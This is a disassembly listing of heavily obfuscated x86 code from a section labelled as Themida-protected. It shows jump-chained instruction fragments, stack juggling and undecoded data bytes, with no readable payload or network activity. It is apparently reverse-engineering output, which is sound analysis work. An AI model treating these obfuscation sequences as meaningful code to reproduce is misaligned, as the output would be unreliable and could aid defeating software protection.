		mov	eax, 36AC5E28h
		sub	eax, 7DB22A01h
		push	esi
		push	ebp
		push	esi
		mov	esi, 4ECC75AEh
		jmp	loc_4F6A68
; ---------------------------------------------------------------------------


loc_500D3D:				; CODE XREF: Themida_:00500768j
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_4F6041
; ---------------------------------------------------------------------------
		db 0B0h
		dd 0C588517Ah, 0FFC9C0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_500D59:				; CODE XREF: Themida_:004F62E5j
		and	ebx, 10FD7F43h
		neg	ebx
		jmp	loc_4FEECF
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0BB0F6624h, 0E99C2404h, 0FFFF4F9Eh, 3B9BF681h, 0EFE95BE6h
		dd 8BFFFF6Ah, 0BE92424h
		db 6Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_500D87:				; CODE XREF: Themida_:004FCA3Bj
		push	2D72ED8h
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_4FF548
; ---------------------------------------------------------------------------
		db 80h,	0C5h, 82h
		dd 807FEB80h, 0EB0039C3h, 8039EB80h, 0DFE97FC3h, 66FFFFBBh
		dd 0E9240C8Bh, 8CCh, 0D77F432Dh, 0E4C8E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_500DC6:				; CODE XREF: Themida_:004F72F9j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	ecx
		xchg	eax, ecx
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		sub	ebx, 4
		jmp	loc_4FD752
; ---------------------------------------------------------------------------


loc_500DE4:				; CODE XREF: Themida_:004FF41Aj
		sub	esi, 0C67EFABDh
		mov	ebx, esi
		pop	esi
		neg	ebx
		push	esi
		mov	esi, 4F1F6419h
		jmp	loc_4FF836
; ---------------------------------------------------------------------------
		dw 0C629h
		dd 9CF68158h, 0E9D27B2Bh, 0FFFF8DE8h, 0E92434FFh, 0FFFF54DAh
; ---------------------------------------------------------------------------


loc_500E10:				; CODE XREF: Themida_:004FC32Cj
		mov	edx, esp
		jmp	loc_4FB811
; ---------------------------------------------------------------------------
		db 83h
		dd 0FF5304C4h, 5B042474h, 8B24048Fh, 29662424h,	0E99C2404h
		dd 0FFFF4EE2h, 1DE9815Eh, 294459D9h, 240C8BC8h,	55C5E957h
		dd 0D7F7FFFFh, 0C196FE87h, 0F02506E8h, 2D426A16h, 0DCE9A136h
		dd 0E958C521h, 0EE3h, 24048F5Ch, 0FF24248Bh, 48B2434h
		dd 0E1895124h, 4C181h, 0BF570000h, 4, 0E95FF901h, 0FFFFC771h
; ---------------------------------------------------------------------------


loc_500E80:				; CODE XREF: Themida_:005015E8j
		sub	ebp, esi
		pop	esi
		push	eax
		mov	eax, 0F78521Ch
		jmp	loc_4FAB4E
; ---------------------------------------------------------------------------
		dw 8957h
		dd 0B847E9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_500E96:				; CODE XREF: Themida_:004F7921j
		push	1CCh
		mov	[esp], ebx
		mov	ebx, 77D51D6Eh
		shl	ebx, 5
		push	eax
		push	esi
		push	40A325CBh
		jmp	loc_4FCACD
; ---------------------------------------------------------------------------
		dw 0F901h
		dd 5F25E981h, 1DE9792Eh
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_500EBF:				; CODE XREF: Themida_:004F6DE6j
		xor	ebp, 3D9F7B56h
		jmp	loc_4FE786
; ---------------------------------------------------------------------------
		dw 8151h
		dd 4ECh, 0FC6E900h, 0D590000h, 49A076E8h, 0BF0DD8F7h, 556BC533h
		dd 0FF7E3BE9h
		db 0FFh
byte_500EE9	db 56h,	0E9h, 49h	; DATA XREF: Themida_:004F85ACo
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_500EEF:				; CODE XREF: Themida_:004F6838j
		push	edx
		push	esi
		push	ebp
		jmp	loc_4FD9C0
; ---------------------------------------------------------------------------
		db 80h
		dd 0F73056EEh, 5066515Ah, 7AE980B4h, 87FFFFB0h,	0A5682404h
		dd 89000073h, 1C312404h, 241C3324h, 0FF5B04E9h,	59F681FFh
		dd 0E941FB25h, 0FFFF6BA7h, 6824048Bh, 5036h, 54242C89h
		dd 4C5815Dh, 68000000h,	1142h, 0BA241489h, 4, 0CB0ED81h
		dd 0D5017FF5h, 0FFDA49E9h, 243489FFh, 0FFCF57E9h, 74FF50FFh
		dd 8F580424h, 0FBE92404h, 0B4FFFFFDh, 0ADE95146h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_500F73:				; CODE XREF: Themida_:004F8E07j
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_4FF6A8
; ---------------------------------------------------------------------------
		db 1
		dd 0EC8158C1h, 4, 0B8240489h, 99F71F9h,	504E0C1h, 0CDDDE3BBh
		dd 4701FE0Dh, 0E9E0D12Ah, 0FFFFED92h, 0FF2434FFh, 48B2434h
		dd 4C48324h, 0E9E78957h, 0FFFF93D4h, 0E906EBC1h, 0FFFF8B18h
		dd 348BF201h, 4C48124h,	0E9000000h, 109h, 152137BFh, 52E9475Dh
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_500FE3:				; CODE XREF: Themida_:00501A36j
		pop	edx
		push	esi
		jmp	loc_50061E
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0F90CE924h, 515FFFFFh, 42474FFh, 24048F59h, 6624248Bh
		dd 0E9240C8Bh, 0FFFFA7E9h
; ---------------------------------------------------------------------------


loc_501008:				; CODE XREF: Themida_:0050164Fj
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_4F6DEB
; ---------------------------------------------------------------------------
		dw 1C2Dh
		dd 29396C0Fh, 1CBD55D0h, 1396C0Fh, 0F4055DE8h, 8B084A35h
		dd 0F8682414h, 8900006Ch, 0E589242Ch, 4C581h, 0E9530000h
		dd 0FFFFD76Eh, 8FC0B60Fh, 0C3E98704h
		db 4Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50104F:				; CODE XREF: Themida_:004F7FCBj
		add	esp, 4
		add	esp, 4
		pop	eax
		xor	eax, 7A142AB1h
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_5018CD
; ---------------------------------------------------------------------------
		dw 68ADh
		dd 50FAh, 0E9241C89h, 0FFFF4D36h, 644E51BFh, 5FF82964h
		dd 0D3676F2Dh, 1C2F056Fh, 12E94F5Bh, 1FFFF75h, 0F2895BDEh
		dd 0F281425Eh, 3494053Eh, 0FFB4F5E9h, 81C301FFh, 0AC396FC3h
		dd 8EE95842h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5010AF:				; CODE XREF: Themida_:004F719Dj
		pop	ebx
		shl	ebp, 6
		jmp	loc_501753
; ---------------------------------------------------------------------------
		dd 0B252D028h, 4EAC038h, 0C280E2D0h, 0E9DAF6EFh, 0FFFFCAE9h
		dd 475DEF09h, 6351E781h, 0EF814925h, 82904Fh, 0FF9313E9h
		dd 5AD029FFh, 4EC81h
		db 0
byte_5010E9	db 0, 89h, 0Ch		; DATA XREF: Themida_:004FB164o
		dd 91C3E924h, 5F54FFFFh, 0FFC28DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5010F9:				; CODE XREF: Themida_:005025ADj
		pop	ecx
		dec	ebp
		add	ebp, 5FE22A98h
		shr	ebp, 2
		dec	ebp
		xchg	ecx, ebp
		not	ecx
		xchg	ecx, ebp
		push	ecx
		mov	ecx, 5FFE7847h
		jmp	loc_4F6F5B
; ---------------------------------------------------------------------------
		dw 4A4Ah
		dd 3067F281h, 0F2813430h, 14A81322h, 0FFDB50E9h, 240431FFh
		dd 4BE0E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_501132:				; CODE XREF: Themida_:004F6E87j
		pop	ecx
		sub	bl, 0DDh
		add	bl, 64h
		movzx	eax, al
		jmp	loc_50238B
; ---------------------------------------------------------------------------
		db 51h,	9Ch, 0E9h
		dd 0FFFF9F21h, 4C481h, 0EB290000h, 5BD9015Dh, 0EABFE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50115A:				; CODE XREF: Themida_:004F9A62j
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_4FEDC8
; ---------------------------------------------------------------------------
		dd 36B668h, 0FDE3E900h,	5D05FFFFh, 5145502h, 22AB417Fh
		dd 83241C8Bh, 0C38104C4h, 5B897DE7h, 60F9C381h,	0C3011879h
		dd 0E9E08950h, 0FFFFF6DDh, 83241C8Bh, 0C38104C4h, 4, 0CEEBE955h
		dd 5255FFFFh, 81242C8Bh, 4C4h, 5DEB8900h, 0E924148Bh, 0FFFF634Ah
		dd 0DA2DDD05h, 2DD8013Eh, 3EDA2DDDh, 30A768h, 242C8900h
		dd 36576857h, 6FE95D9Ah, 81FFFF94h, 2C4h, 0E9516600h, 0FFFF68AFh
		dd 0C058C588h, 0C58002EDh, 5142E9D1h, 0C481FFFFh, 4, 0C680CDB6h
		dd 6FC6807Fh, 2865C680h, 65EE80EEh, 806FEE80h, 4FE97FEEh
		dd 57FFFF55h, 0DC3364BFh, 0E9FE3118h, 0FFFF8D21h
; ---------------------------------------------------------------------------


loc_501228:				; CODE XREF: Themida_:004F72AEj
		sub	eax, 733F0A59h
		jmp	loc_4FBE2B
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 9E3ED2Bh, 7C71EF81h,	0F7294B49h, 7C71C781h, 348B4B49h
		dd 9742E924h, 0BF57FFFFh, 4, 835FF901h,	0C8704C1h, 0AC685C24h
		dd 8900001Ah, 0E2892414h, 4EC81h, 2C890000h, 159DBD24h
		dd 0ED815DA3h, 5DA31599h, 7435C281h, 0EA017471h, 0FF5075E9h
		dd 4C781FFh, 87000000h,	505C243Ch, 42474FFh, 0FFD604E9h
		dd 0E18951FFh, 4EC81h, 14890000h, 2D38BA24h, 0D2F7451Bh
		dd 0DAF7D2F7h, 2C4CF281h, 0E2812E6Bh, 37BC2CD5h, 0FFD60EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5012C5:				; CODE XREF: Themida_:004FBA34j
		xor	ecx, edi
		jmp	loc_4FE615
; ---------------------------------------------------------------------------
		dd 582434FFh, 4C481h, 48E90000h, 0E900000Dh, 0FFFF4A32h
		dd 240C8B66h, 8904EC83h, 53682404h, 89000060h, 0BD552424h
		dd 4, 4246C01h,	5D2434FFh, 0FFF7EFE9h, 0E18951FFh, 4C181h
		dd 0C1830000h, 240C8704h, 0E23E95Ch, 0B2BE0000h, 0E93EBC7Fh
		dd 92Eh
; ---------------------------------------------------------------------------


loc_501324:				; CODE XREF: Themida_:00502691j
		add	edx, 4
		jmp	loc_4FDCA5
; ---------------------------------------------------------------------------
		db 5Ch
		dd 83242489h, 58042404h, 405h, 40500h, 69680000h, 89000076h
		dd 74FF2404h, 34FF0424h, 5091E924h, 0E95CFFFFh,	0FFFF92AFh
		dd 0FF49B1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_501361:				; CODE XREF: Themida_:004F72BDj
		add	dword ptr [esp], 2D694447h
		pop	ecx
		push	esi
		mov	esi, 2D694447h
		jmp	loc_4FA588
; ---------------------------------------------------------------------------
		dd 515BD830h, 0FF5485E9h, 5FF929FFh, 34FFCB21h,	0E9555924h
		dd 0FFFFEFBEh, 148BF000h, 6F72E924h, 0E189FFFFh, 4C181h
		dd 0C1810000h, 4, 0E9240C87h, 0FFFFAFAAh, 2E86C381h, 0D32947CBh
		dd 2E86EB81h, 815A47CBh, 897DE7EBh, 8F665Bh, 0FFCE70E9h
		dd 243C8BFFh, 104C483h,	0E3C381C3h, 0E91F700Ch,	0FFFFC6CAh
		dd 0FFED815Eh, 81FFFFFFh, 497624E5h, 9ED814Fh, 3172025Ch
		dd 0F6E95DEAh, 8FFFFD5h, 45A66D0h, 61C180B6h, 0E980C128h
		dd 0C8205861h, 65CF6859h, 1C890000h, 4CFF6824h,	0C890000h
		dd 0A90EE924h, 0EC81FFFFh, 4, 0B2241489h, 5AD52058h, 0D5F6C5FEh
		dd 0FFC6B2E9h, 0E9FA87FFh, 0FFFF4B9Bh, 8124048Bh, 4C4h
		dd 0B8505100h, 3E6C1EB9h, 93E14BB9h, 58C101C1h,	5359C801h
		dd 0FF8126E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50145D:				; CODE XREF: Themida_:004FFCC3j
		add	ebp, 4
		jmp	loc_50076D
; ---------------------------------------------------------------------------
		dd 94BB53ADh, 130D04Ah,	0D8015BD8h, 8904EC83h, 0EDBD242Ch
		dd 45035C63h, 7E5C145h,	0F581D5F7h, 69603697h, 0FF6B04E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_501491:				; CODE XREF: Themida_:004FCC98j
		add	al, 0A2h
		mov	edx, [esp]
		push	ebp
		jmp	loc_4FB2BE
; ---------------------------------------------------------------------------


loc_50149C:				; CODE XREF: Themida_:004F8E24j
		push	eax
		jmp	loc_500D17
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835E24h, 0BDBE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5014AE:				; CODE XREF: Themida_:004FF83Cj
		shr	ecx, 6
		jmp	loc_4F9325
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 192D0415h, 5AD7CD81h, 45457CB6h, 5EC4F581h, 0DDF77C0Dh
		dd 0FFA013E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5014D1:				; CODE XREF: Themida_:004F8718j
		add	esi, edx
		pop	edx
		add	esi, 23D47837h
		mov	edx, [esp]
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 1
		and	eax, ebp
		pop	ebp
		or	edx, eax
		shl	edx, 1
		push	3FF5h
		mov	[esp], ecx
		push	edi
		push	64684069h
		mov	edi, [esp]
		add	esp, 4
		xor	edi, 70812B72h
		push	ecx
		mov	ecx, 3ABD6569h
		xor	ecx, 2E540E73h
		sub	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_4FACE0
; ---------------------------------------------------------------------------
		dw 0D829h
		dd 68241C8Bh, 5591h, 42EE9h, 8BFB0100h,	33E9243Ch, 8B000003h
		dd 0C481240Ch, 4, 10BAE9h, 4EE8100h, 87000000h,	6FE92434h
		dd 89FFFF6Fh, 4C681E6h,	81000000h, 4C6h, 24348700h, 7C3685Ch
		dd 0C890000h, 4EC8124h,	89000000h, 4812424h, 424h, 240C8B00h
		dd 0E9E38953h, 0FFFFAD16h, 54242C89h, 83242C8Bh, 685204C4h
		dd 2F893306h, 0B9F2815Ah, 8107E611h, 8E32F7E2h,	5EF2813Fh
		dd 0F74C5005h, 6CDEE9D2h, 34FFFFFFh, 0C4835B24h, 0FC33004h
		dd 34FFC0B6h, 9B3CE987h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5015D6:				; CODE XREF: Themida_:004FADDFj
		pop	ebx
		jmp	loc_4FE978
; ---------------------------------------------------------------------------
		dd 0CAE9C221h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5015E3:				; CODE XREF: Themida_:004F862Dj
		mov	esi, 0A103A8Eh
		jmp	loc_500E80
; ---------------------------------------------------------------------------
		db 0BDh, 2 dup(0FFh)
		dd 0EB01FFFFh, 70C3815Dh, 8107CA7Ch, 92AE4DF3h,	0BF575638h
		dd 0C0916F4h, 295FFE89h, 0EA815EF2h, 367B14F4h,	0C281DA01h
		dd 367B14F4h, 16F4C281h, 1C8B0C09h, 0C0FDE924h,	0E5C1FFFFh
		dd 0A6C58104h, 8121BB20h, 0B0FE94F5h, 5DE901D1h, 8B240C87h
		dd 24D22424h, 0C7E99C24h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50164B:				; CODE XREF: Themida_:004F7B19j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_501008
; ---------------------------------------------------------------------------
		dd 57242489h, 1A1E9h
		db 0
; ---------------------------------------------------------------------------


loc_50165D:				; CODE XREF: Themida_:004FB9F3j
		add	ebp, 4717685Eh
		add	ebp, ecx
		sub	ebp, 4717685Eh
		add	ebp, 7F480E42h
		mov	ecx, [esp]
		jmp	loc_4F5FFC
; ---------------------------------------------------------------------------
		db 49h,	0C1h, 0E9h
		dd 0C8E98102h, 0E9C45D16h, 0FFFFD7CCh, 4EC81h, 34890000h
		dd 0EC79E924h, 0C889FFFFh, 0FFA874E9h, 9EC381FFh, 0E96C260Eh
		dd 0FFFFC74Ch, 42474FFh, 81242C8Bh, 4C4h, 24048F00h, 8924248Bh
		dd 8956242Ch, 0E9F589FEh, 0FFFFB5AAh, 0BA241489h, 54964FACh
		dd 0D606BE56h, 0EDE90F23h, 5CFFFFF8h, 7E6568h, 24148900h
		dd 0BB519CBAh, 0D2F74A77h, 1241E281h, 0E2C13A54h, 2C28105h
		dd 1F77FB8h, 7AC6E9D1h,	429FFFFh, 0E0C15824h, 0B4282D08h
		dd 0C731FACDh, 6858h, 10E90000h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50171B:				; CODE XREF: Themida_:004FA269j
		sub	ebx, 392850C9h
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_4F6D56
; ---------------------------------------------------------------------------
		dd 5024148Bh, 0E904EC83h, 0FFFF6BC0h
; ---------------------------------------------------------------------------


loc_501740:				; CODE XREF: Themida_:004FC405j
		push	ecx
		pop	edi
		pop	ecx
		jmp	loc_4F973B
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 73E92404h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_501753:				; CODE XREF: Themida_:005010B3j
		add	ebp, 32435FA7h
		sub	ebp, 3CD2BD6Dh
		jmp	loc_4FC78B
; ---------------------------------------------------------------------------
		dd 76B6BA52h, 0E2C1699Ch, 2EEA8106h, 815B3051h,	0B6991C3h
		dd 68D2E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50177E:				; CODE XREF: Themida_:004FD851j
		push	7F23h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		jmp	loc_4FB44E
; ---------------------------------------------------------------------------
		db 57h
		dd 7E4EE954h, 77FFFFFFh, 2434FF3Ch, 0C8E95258h,	53FFFFCEh
		dd 0FF7BDAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5017C5:				; CODE XREF: Themida_:004FEAECj
		add	esi, 0EF7BA8B1h
		jmp	loc_4F7AC8
; ---------------------------------------------------------------------------
		dd 4DA0CF81h, 0C7812084h, 1519062h, 4A34052Dh, 5BE2D49h
		dd 0F8015DB8h, 0B805BE05h, 56BA525Dh, 8165052Bh, 5B3BE3EAh
		dd 0BA7FE938h, 0BA52FFFFh, 5DE755B5h, 6110F281h, 41E964C6h
		dd 0F6FFFFEAh, 3CE980D1h, 5250C180h, 0E2C0BFB2h, 80DAF604h
		dd 0E1E9C8C2h, 80FFFF8Bh, 0C32844EBh, 44B55166h, 6EE9EB00h
		dd 68FFFF88h, 6D396146h, 8BCE8959h, 0EC83240Ch,	24048904h
		dd 0FFDC9BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50184D:				; CODE XREF: Themida_:004FDCD3j
		push	esp
		pop	eax
		add	eax, 4
		push	edx
		jmp	loc_4F99A7
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 59669D1Ch, 241CD366h, 4C2BE99Ch, 0ABBBFFFFh,	81351B00h
		dd 825DD2EBh, 9587E956h, 0C483FFFFh, 2BEA8104h,	0E9627576h
		dd 0FFFF8C4Eh
; ---------------------------------------------------------------------------


loc_501888:				; CODE XREF: Themida_:004FF337j
		xchg	edx, ecx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		shl	ecx, 4
		neg	ecx
		dec	ecx
		add	ecx, 740C6DE2h
		xor	ecx, 5160536Ah
		mov	esi, ecx
		pop	ecx
		inc	esi
		add	esi, 236B3BBCh
		sub	esi, 0C6177B9h
		xor	esi, 7DAD02ABh
		jmp	loc_4FEA03
; ---------------------------------------------------------------------------
aY7mO		db '%',27h,'Y7m%%O ',0
		dd 0FF4DDDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5018CD:				; CODE XREF: Themida_:00501065j
		mov	ebp, 2000h
		jmp	loc_4FE575
; ---------------------------------------------------------------------------
		db 81h
		dd 9D9B3AF1h, 0E9CB019Fh, 0FFFFD6AFh
; ---------------------------------------------------------------------------


loc_5018E4:				; CODE XREF: Themida_:004FA876j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		test	cx, ax
		pushf
		jmp	loc_4F5D12
; ---------------------------------------------------------------------------
		db 2Dh,	5Dh, 2
		dd 0D8011455h, 0FFF86DE9h, 4C483FFh, 161DBA52h,	0EAC13900h
		dd 0C8EA8102h, 4AA40E04h, 0DAF7D2F7h, 0FFCEB2E9h, 2414F6FFh
		dd 0E0C05866h, 0B5516604h, 0E9E820F5h, 0FFFF8157h, 74FF505Bh
		dd 0CBE90424h, 89FFFFD6h, 0A3682434h, 0E9000065h, 0FFFF7BDAh
		dd 0FF43C1E9h, 81E689FFh, 4C6h,	4C68300h, 2474FF56h, 48F5E04h
		dd 12E95C24h, 89FFFF92h, 0E0E9241Ch
		db 4Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_501973:				; CODE XREF: Themida_:004F7F90j
		mov	ah, 83h
		mov	cl, ah
		pop	eax
		mov	dl, cl
		pop	ecx
		jmp	loc_4FD1A0
; ---------------------------------------------------------------------------
		dd 5C243C87h, 99E95052h
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50198B:				; CODE XREF: Themida_:004FDA86j
		mov	[esp], ebp
		pop	ecx
		mov	ebx, ecx
		pop	ecx
		pop	ebp
		jmp	loc_500B27
; ---------------------------------------------------------------------------
		dd 4EC8150h, 89000000h,	4AE92424h, 81FFFFD1h, 4C1h, 4E98100h
		dd 87000000h, 895C240Ch, 5AB22414h, 8007EAC0h, 0CAFE3AF2h
		dd 0B551C2FEh, 59EA209Dh, 0EA80E2D0h, 547F6853h, 4890000h
		dd 65D1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5019DE:				; CODE XREF: Themida_:00500619j
		mov	eax, 3640264Bh
		add	eax, 8464838Ch
		sub	edi, eax
		pop	eax
		add	ebp, edi
		pop	edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		push	eax
		mov	eax, 4
		mov	ecx, eax
		pop	eax
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		push	edx
		push	3BE6h
		mov	[esp], eax
		jmp	loc_4F6BC4
; ---------------------------------------------------------------------------


loc_501A1F:				; CODE XREF: Themida_:004F9574j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 552F6306h
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_500FE3
; ---------------------------------------------------------------------------


loc_501A3B:				; CODE XREF: Themida_:004FBEF0j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	edi, 141F55B9h
		push	0
		sub	[esp], edi
		pop	edi
		shr	edi, 7
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 194E948h
		xor	edi, esi
		push	dword ptr [esp]
		jmp	loc_4FCF90
; ---------------------------------------------------------------------------
		dd 507CBA52h, 5AE925C4h, 81FFFFF4h, 0EA12A8C2h,	78EA8144h
		dd 15EB215h, 78C281C2h,	0E95EB215h, 0FFFFE68Ch,	81242C8Bh
		dd 4C4h, 241C8B00h, 0FFB907E9h,	73C381FFh, 813C322Ch, 7954B7CBh
		dd 0E3814B2Ch, 131022EEh, 22EAF381h, 0D8011010h, 4E8835Bh
		dd 0FF58EDE9h, 24248BFFh, 89243C89h, 145668E7h,	4890000h
		dd 4B824h, 0C7010000h, 0E7CCE958h, 0B850FFFFh, 4F4A3129h
		dd 0FFFDB9E9h, 80C328FFh, 0B60F96EBh, 8734FFC0h, 0FF8D9AE9h
		dd 305A66FFh, 241C8BDAh, 81E68956h, 4C6h, 4C68300h, 5C243487h
		dd 0CBE9D028h, 53FFFFB8h, 0FFA212E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_501B39:				; CODE XREF: Themida_:004F5D54j
		and	edi, 784B6B32h
		not	edi
		push	eax
		push	ecx
		mov	ecx, 36937007h
		jmp	loc_4FEA7B
; ---------------------------------------------------------------------------


loc_501B4D:				; CODE XREF: Themida_:004FEEDAj
		pop	ecx
		add	edi, 4
		jmp	loc_4FE88D
; ---------------------------------------------------------------------------
		dw 0E9ADh
		dd 0FFFF45F3h
; ---------------------------------------------------------------------------


loc_501B5C:				; CODE XREF: Themida_:0050074Bj
		xor	eax, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_50276A
; ---------------------------------------------------------------------------
		dd 0A3E99C50h, 1FFFF41h, 57E2E9E8h, 0E831FFFFh,	0FFC296E9h
		dd 0DFB652FFh, 4B7E9h
		db 0
; ---------------------------------------------------------------------------


loc_501B85:				; CODE XREF: Themida_:004FE4BCj
		neg	edx
		push	ecx
		mov	ecx, 9CBAB84Eh
		jmp	loc_500157
; ---------------------------------------------------------------------------
		dw 555Eh
		dd 5629BB53h, 0EB8314EBh, 0F7EBD101h, 798EE9D3h, 0F581FFFFh
		dd 0EBB3D5h, 535DEB01h,	42474FFh, 0E9241C8Bh, 0FFFF69F5h
		dd 57546857h, 4F5F0980h, 0E904EC83h, 0FFFF9037h
; ---------------------------------------------------------------------------


loc_501BCC:				; CODE XREF: Themida_:004F7793j
		add	ecx, esi
		pop	esi
		and	edi, ecx
		jmp	loc_4F7B40
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 5244B124h, 0F1001EB6h, 0FFEE1EE9h, 0BF575EFFh, 75577D15h
		dd 9E9FD01h, 0BDFFFF8Ch, 17EA586Ah, 465DEE21h, 5825F681h
		dd 0F7011520h, 0FFEEB2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_501C09:				; CODE XREF: Themida_:004FC1D1j
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		jmp	loc_4F7B5D
; ---------------------------------------------------------------------------
		db 59h
		dd 323BB53h, 0C14B4B8Bh, 0E38102E3h, 74EA62B0h,	8108E3C1h
		dd 3B6D04CBh, 0A8EB8114h, 0E9BE53FEh, 0FFFFC7E9h, 0F088FE88h
		dd 0A250E95Ah, 0F521FFFFh, 0FFF783E9h, 55854FFh, 4, 576B68h
		dd 612FE900h, 875BFFFFh, 835C2414h, 48904ECh, 0BDD5E924h
		dd 0EC83FFFFh, 24048904h, 0FFE6A9E9h, 24248BFFh, 0E9028864h
		dd 0FFFF4082h, 242C895Ch, 16242C81h, 5A55C661h,	6116C281h
		dd 95D55C6h, 693DE9C9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_501CAA:				; CODE XREF: Themida_:004FFB45j
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_502431
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0E9515B24h, 0FFFFD0BAh
; ---------------------------------------------------------------------------


loc_501CC0:				; CODE XREF: Themida_:004FA245j
		mov	edx, 0AC00F4h
		mov	edi, 0FF547F0Ch
		add	edi, 1ABF0189h
		add	edi, edx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_4FB4A0
; ---------------------------------------------------------------------------
		dd 402CE95Ch, 68ACFFFFh, 3C1Fh,	52240C89h, 0C1B5FAB6h
		dd 148BF528h, 4C48124h,	0E9000000h, 0FFFF801Dh,	0D1F6F988h
		dd 5966CF88h, 0FF9458E9h, 0D8EE81FFh, 8159DE0Ch, 790467C6h
		dd 24148B50h, 4C481h, 6C680000h, 8900004Bh, 0E9562414h
		dd 0FFFFA8F6h, 4560EB81h, 90E92A01h, 51FFFFD7h,	0FFFFFFB9h
		dd 59CD29FFh, 0FFFFC581h, 0F581FFFFh, 76E65C7Dh, 295DEB89h
		dd 5522E9D8h, 0D5F6FFFFh, 0FF62E5E9h, 0EF8159FFh, 336D138Fh
		dd 0DEE9F829h, 87FFFF80h, 665C2414h, 281DB050h,	805866C3h
		dd 51E910EBh, 5CFFFF61h, 0FFBADFE9h, 8BF901FFh,	0C481243Ch
		dd 4, 2D59CA29h, 7AE1762Ah, 0B951D001h,	5DFF13ECh, 623EC181h
		dd 0C8011CE2h, 8514E959h, 2C81FFFFh, 0F6474124h, 0C7815F0Dh
		dd 0DF64741h, 8BF8295Bh, 0C481243Ch, 4,	797BBE56h, 0E6C125C8h
		dd 6FE68104h, 81183F75h, 436133C6h, 9AEB81EBh, 294DE61Fh
		dd 9AC381F3h, 5E4DE61Fh, 0FF637FE9h, 79DA68FFh,	4890000h
